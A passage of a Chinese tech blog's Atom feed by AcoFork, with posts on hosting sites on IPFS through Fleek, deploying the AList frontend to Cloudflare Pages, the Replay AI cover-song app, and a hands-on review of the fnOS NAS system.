&lt;h3 id=&quot;zhe-xiang-ji-shu-zhen-de-you-zhe-me-li-xiang-ma&quot;&gt;这项技术真的有这么理想吗？&lt;&#x2F;h3&gt;
&lt;p&gt;这项技术确实很理想，但是实际应用下来会遇到以下问题&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;通过本地IPFS节点上传的文件迟迟无法通过IPFS网关+CID实现访问&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;发现的节点太少&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可能会大量占用你的带宽&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这些问题大部分原因都是因为这个网络太过于庞大，而单个IPFS节点的权重很低，尽管IPFS的分发一般在几小时内可以完成。但对于个人来说，我们应当寻找一些服务商帮我们完成这些需求，它们往往在IPFS网络中的权重更大，进行文件更新的效率也很高，同时也提供一些扩展服务，比如自动化Git部署。而这篇文章使用的则是&lt;strong&gt;Fleek&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guan-yu-fleek&quot;&gt;关于Fleek&lt;&#x2F;h3&gt;
&lt;p&gt;你可以简单理解为它权重很大，有很多的IPFS节点，经由Fleek上传到IPFS网络上的文件可以在几秒内完成广播，并且支持连接Git存储库部署项目和绑定你的域名&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fleekshi-fou-zhi-de-xin-lai&quot;&gt;Fleek是否值得信赖？&lt;&#x2F;h3&gt;
&lt;p&gt;本人仅接触此服务2天。观察到Fleek在成功部署网站后提供了三类访问方式&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;xxx-xxx.fleek.app&lt;&#x2F;code&gt;：这个域名使用了Cloudflare CDN，实测解析IP的数量为2，不建议使用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-17-11-01-49-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;：这种方法是原生的IPFS访问方式。通过IPFS网关+CID来访问。但由于CID为哈希值，当你的网站改动后你的CID会发生变化&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;绑定自定义域名来访问，这将会使用亚马逊的CDN并且自动映射CID，实测解析IP数量超过30，并且速度很快&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
注意，任何使用HTTP协议的类ipfs技术都需要一个中心化服务器代理访问IPFS网络。只有当访问者连接上IPFS网络后才会使用去中心化的连接方式）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-17-11-07-40-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;尽管显示了IPFS的文件浏览界面，但实际上这个页面是由HTTP请求到亚马逊 CDN反代IPFS网络实现的，实际上仍为中心化网络&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-17-11-08-44-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;当你的设备已经连上IPFS网络后，所有流量将使用P2P（去中心化），所以你看到的访问地址实际上是本机地址&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shu-li-yi-xia-si-lu-wo-men-ke-yi-yong-fleekzuo-dao-shen-me&quot;&gt;梳理一下思路，我们可以用Fleek做到什么&lt;&#x2F;h3&gt;
&lt;p&gt;让Fleek连接你的Git存储库，通过构建命令构建静态网站，并发布到IPFS，同时兼容HTTP访问&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往fleek.xyz，通过MetaMask登录&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;连接你的Git存储库，输入构建命令等相关信息&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;部署网站&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;绑定域名&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;最终访问&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;效果图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-17-11-31-33-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tuo-zhan-yi-xia-wo-men-huan-ke-yi-tong-guo-ipfsji-shu-zuo-shen-me-yu-ming-yi-qi-yong&quot;&gt;拓展一下，我们还可以通过IPFS技术做什么？（域名已弃用）&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建一个巨大的图床，已经投入使用，参见： https://pic.onani.cn （原理：请求 https://ipfs-pic.onani.cn ，获取图片列表，随机选择使用JS展示）&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-17-11-34-44-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;无需再自托管任何图片，已经投入使用，本博客所有图片都使用IPFS存储&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;理论上，你可以将任何占用存储的服务上传到IPFS，实现存算分离&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>教你把AList的前端部署到CF Pages！让你的AList秒加载！</title>
        <published>2024-10-15T00:00:00+00:00</published>
        <updated>2024-10-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/alist-web/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/alist-web/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/alist-web/">&lt;h2 id=&quot;qian-qing-ti-yao&quot;&gt;前情提要&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://afo.im&#x2F;shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;本教程&lt;strong&gt;不是 AList 的无服务器部署&lt;&#x2F;strong&gt;，仅将前端页面部署到 Cloudflare Pages，这样用户就能很快从 cf 的边缘节点拉取前端文件，而不用 cf 回源，提高浏览体验，后端仍然需要一台开放到公网的服务器部署 AList（无公网服务器可使用 Cloudflare Tunnels）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shou-xian-bao-zheng-ni-de-hou-duan-fu-wu-qi-zhi-chi-v4v6shuang-zhan-fang-wen&quot;&gt;首先，保证你的后端服务器支持v4v6双栈访问&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;使用Cloudflare Tunnel，套cf&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;分别设置A和AAAA解析，麻烦，如果你的IP很快，那其实可以不用前后端分离，暴露源站的前后端分离也不能避免被DDoS，因为你的源站会在HTTP报文中暴露&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;ran-hou-kai-shi-zheng-shi-jiang-alistqian-duan-bu-shu-dao-cloudflare-pages&quot;&gt;然后，开始正式将AList前端部署到Cloudflare Pages&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fork仓库：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;alist-org&#x2F;alist-web&quot;&gt;https://github.com&#x2F;alist-org&#x2F;alist-web&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;更改项目根目录的&lt;code&gt;env.production&lt;&#x2F;code&gt;文件为你的后端服务器地址&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6f2871ca5d35e1e974d89611835f3a2c7fd205e7.webp&quot; alt=&quot;QmduQJq3TydzvLzBn47zLxp2MR1iD2sxm67EzFUFuEBvQa.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将仓库克隆到本地，需要安装&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://git-scm.com&#x2F;&quot;&gt;Git&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;使用SSH（需要持有你的Github SSH私钥）：
git clone git@github.com:你的用户名&#x2F;你Fork的仓库

使用HTTPS（Not Use Magic有概率SSL握手失败）：
git clone git@github.com:你的用户名&#x2F;你Fork的仓库
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;下载汉化包：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://alist.onani.cn&#x2F;guest&#x2F;alist_Zh-CN&quot;&gt;AcoFork 的网盘&lt;&#x2F;a&gt;或&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://crowdin.com&#x2F;project&#x2F;alist&#x2F;zh-CN&quot;&gt;Crowdin - 需要登录&lt;&#x2F;a&gt;&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;68d31e9797edfc3c1d8a72386ebf3a643d117ce6.webp&quot; alt=&quot;QmXVpMc7BqbXv9EaAbeptsrnhYLinvQQsu1btBE3VvDixa.webp&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;解压，将&lt;code&gt;alist (zh-CN)\src\lang&lt;&#x2F;code&gt;里面的&lt;code&gt;Zh-CN&lt;&#x2F;code&gt;文件夹复制到仓库下&lt;code&gt;src&#x2F;lang&lt;&#x2F;code&gt;下&lt;&#x2F;li&gt;
&lt;li&gt;编辑根目录的&lt;code&gt;.gitignore&lt;&#x2F;code&gt;，添加一行&lt;code&gt;!&#x2F;src&#x2F;lang&#x2F;zh-CN&#x2F;&lt;&#x2F;code&gt;确保文件不被忽略&lt;&#x2F;li&gt;
&lt;li&gt;下载&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://nodejs.org&#x2F;zh-cn&quot;&gt;Nodejs&lt;&#x2F;a&gt;。在根目录打开终端，生成中文需要的文件：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;安装cnpm：
npm install -g cnpm --registry=https://registry.npmmirror.com

安装依赖：
cnpm install --legacy-peer-deps

生成中文需要的文件：
node .\scripts\i18n.mjs
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;9&quot;&gt;
&lt;li&gt;将更改提交到暂存区并提交到远程仓库，在根目录打开终端&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;git add .   &#x2F;&#x2F;将更改提交到暂存区
git commit -m 添加中文   &#x2F;&#x2F;发布提交
git push -f   &#x2F;&#x2F;强制将更改提交到远程仓库
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;10&quot;&gt;
&lt;li&gt;进入&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://dash.cloudflare.com&#x2F;&quot;&gt;Cloudflare 仪表盘&lt;&#x2F;a&gt;，进入 Workers 和 Pages 页面&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;49ccd51771082fdc94eecb270caf987d257cd987.webp&quot; alt=&quot;QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;创建一个 Pages，选择连接 Git 存储库&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9c4b9ff38d3c8810007ffe33c1a0f98cdd84b92e.webp&quot; alt=&quot;QmZXerKv9PVxxscAe4w4LEfAaKfiScPQEKh1UroXnCeAUr.webp&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;选择你的存储库，开始设置&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;fb97b5148c3811590609a0b85c6c1ee3c451853d.webp&quot; alt=&quot;QmNdSGQrJtoqDnBx8pgDrtcfmUUfVBS9xdrN4xLgyPjyXE.webp&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;构建命令输入：&lt;code&gt;pnpm install &amp;amp;&amp;amp; pnpm build&lt;&#x2F;code&gt;，构建输出目录选择&lt;code&gt;&#x2F;dist&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;c4300a94ccb16fe1383c721cbc83d1a71420e340.webp&quot; alt=&quot;QmbhPdbE8f1zLKvWA6aEGJtZhmecRMVZiQbx6Zx1Lecp7J.webp&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;等待 Cloudflare 构建结束，为 Pages 绑定自定义域&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;d27136b31d759898fe06041f12e7a07f07bd06b0.webp&quot; alt=&quot;QmTMphu61uUF9XefBAVDVf19Jm1vLVUhhXQ9PXABy7hUpK.webp&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;访问自定义域，查看 AList 是否正常&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;345df496620a9d3faf0eceeb773813bc9ac98375.webp&quot; alt=&quot;QmT8GLcaxtabhifKNL8kczEtozmNvdyhzJ823RfBrcFdpm.webp&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;ding-zhi-alist&quot;&gt;定制 AList&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://afo.im&#x2F;shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%AE%9A%E5%88%B6-alist&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;我们都知道 AList 支持自定义头部和内容，但是因为 Cloudflare Pages 是一个静态页面，所以我们采用硬编码方式，直接将需要自定义的内容写入仓库根目录的&lt;code&gt;index.html&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;c3ff113558b368da9a7aeb70f70b978f49d0eb7a.webp&quot; alt=&quot;Qmd47pgFsyh28NjhkLiCPPbf7iasXMWvAvZDupH8QspG64.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;编辑根目录的&lt;code&gt;index.html&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;将更改提交到暂存区并提交到远程仓库，在根目录打开终端&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;git add .   &#x2F;&#x2F;将更改提交到暂存区
git commit -m 你的提交摘要   &#x2F;&#x2F;发布提交
git push -f   &#x2F;&#x2F;强制将更改提交到远程仓库
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Cloudflare Pages 会自动重新构建，等待新网页构建完成即可&lt;br &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;863e5bb3ef65ec2a0af03303dd3afe13fb8dd8d4.webp&quot; alt=&quot;QmNZemsDHz5QLxW3V2eANghmVkfBccEpe5vMAWUCLik4o6.webp&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;yi-nan-jie-da&quot;&gt;疑难解答&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;如果你遇到构建错误（找不到solid-route&#x2F;src）的情况，可以尝试查看你fork的仓库通过本地拉取下来后根目录的 &lt;code&gt;solid-route&lt;&#x2F;code&gt; 文件夹是不是空的，如果是，请前往 https://github.com&#x2F;alist-org&#x2F;alist-web 手动将 &lt;code&gt;solid-route&lt;&#x2F;code&gt; 文件夹里的内容搬到你仓库中，然后尝试重新构建&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>傻瓜式AI翻唱软件Replay！选歌！选模型！然后CREATE SONG！</title>
        <published>2024-10-15T00:00:00+00:00</published>
        <updated>2024-10-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/replay/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/replay/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/replay/">&lt;h3 id=&quot;aifan-chang-jin-xu-liang-bu&quot;&gt;AI翻唱！仅需两步！&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.tryreplay.io&#x2F;&quot;&gt;Replay | Free AI Voice Cloning and Stemming using RVC Models (tryreplay.io)&lt;&#x2F;a&gt;下载Replay&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;打开Replay，首先根据引导下载数据包（约11G）。然后根据图片操作，选择歌曲和模型，最后点击 &lt;code&gt;CREATE SONG&lt;&#x2F;code&gt; 即可！&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;59f2cc973405b81324f0472f5309ff6efa682ace.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-15-16-40-07-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>飞牛NAS玩机体验</title>
        <published>2024-10-14T00:00:00+00:00</published>
        <updated>2024-10-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/fnos/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/fnos/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/fnos/">&lt;h3 id=&quot;xi-yin-wo-de-dong-xi&quot;&gt;吸引我的东西&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;影视刮削：飞快，薄纱Plex几条街。通过&lt;a href=&quot;&#x2F;autobangumi&quot;&gt;AutoBangumi&lt;&#x2F;a&gt;可以完美自动追番+刮削一条龙服务。偶尔会有不准，但可以手动匹配，数据源来自&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.themoviedb.org&#x2F;&quot;&gt;TMDB&lt;&#x2F;a&gt;和&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.imdb.com&#x2F;&quot;&gt;IMDB&lt;&#x2F;a&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f1bd7089efdf00097d5474ef967a62dcfca42e98.webp&quot; alt=&quot;QmbNXd4FJ8FM8mwkKxJNdBoNbvhawJ2HdSvW5tFUt3o4ub.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;相册：可以通过手机APP自动备份，支持仅备份图片，可以多用户使用，存储互不干扰，也可以设置要共享的图片
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2f9981f8397cc1278807ed28f8a2e15954868fec.webp&quot; alt=&quot;QmeLJ7in4xcokPWUgkkSobDLUTrFrXep2o38qUXQ1njQR9.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;zhu-yi-shi-xiang&quot;&gt;注意事项&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;飞牛NAS在安装的时候会叫你选择安装盘，然后会将安装盘的一部分空间（默认为64GB）作为系统分区，其余空间可用于创建存储空间（但是系统盘不能和别的盘组存储池，只能单独建存储池）
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6403ef19d941abdc93d8c7da01364a8983c98109.webp&quot; alt=&quot;QmNfRbvHu1fuYoincACcP2MG4yV4pgRni3rb4Y9J7uw4FW.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;应用商店安装的软件需要先授予目录访问权限应用才能读取目录（无论是原生还是Docker应用）
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;79af3b25d8b677b2718c953c0d431ead2f137e1d.webp&quot; alt=&quot;QmP4unAVra1zy7gkjEzSCYEDAJMMe1BVWPKoVyjYv8b9Ho.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;发行版为Debian 12。根目录为系统分区的空间，&#x2F;vol1 为存储空间1的空间 &#x2F;vol2 为存储空间2的空间。推荐使用&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://onani.cn&#x2F;RaiDrive&quot;&gt;RaiDrive&lt;&#x2F;a&gt;或&lt;a href=&quot;&#x2F;SSHFS&quot;&gt;SSHFS&lt;&#x2F;a&gt;挂载Linux目录到Windows
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;d4ec6f87893f4af5d7eedb2e2a19a784fd6c6f92.webp&quot; alt=&quot;QmWMQHNpJUUPg9B1Hdw2zmwLx9q6bcS52nUFiB3P9iYvU9.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;SSH需要自己开，账密为NAS管理员账密，建议登上之后改为仅密钥登录，参见：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.runoob.com&#x2F;w3cnote&#x2F;set-ssh-login-key.html&quot;&gt;设置 SSH 通过密钥登录&lt;&#x2F;a&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9f92130465ab62e912b7404266febc7212e2125b.webp&quot; alt=&quot;QmTk3va2NCbYTcVewVjuqjGx6MwMwiUnManrNwxvEq4SBR.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;各网卡测试&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;名称&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;类型&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;品牌&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;是否免驱&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Realtek GBE Family （r8168）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;有线&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Realtek（瑞昱）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;否，需要自行安装驱动&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Realtek 8852BE&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;无线&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Realtek（瑞昱）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;否，需要自行安装驱动&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Intel AC3160&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;无线&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Intel（英特尔）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;是&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;USB有线网卡&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;有线&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Realtek（瑞昱）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;是&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;各存储模式区别&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;模式&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;作用&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;是否能扩容&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;是否能换盘&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;容灾&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;是否能热备&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;是否能修改存储模式&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Basic&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;将物理硬盘的一部分或者全部作为一个存储池，不可扩容，仅能单盘创建这个模式&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;否&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;否&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;无&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;否&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;是，可转为RAID&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Linear&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;将一个或多个物理硬盘的一部分或者全部作为一个存储池，可扩容&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;是&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;否&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;无&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;否&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;否&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;RAID类&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;自行使用搜索引擎搜索，更详细&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;未测试&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;未测试&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;未测试&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;未测试&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;未测试&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;NAS迅雷内测码：迅雷牛通&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
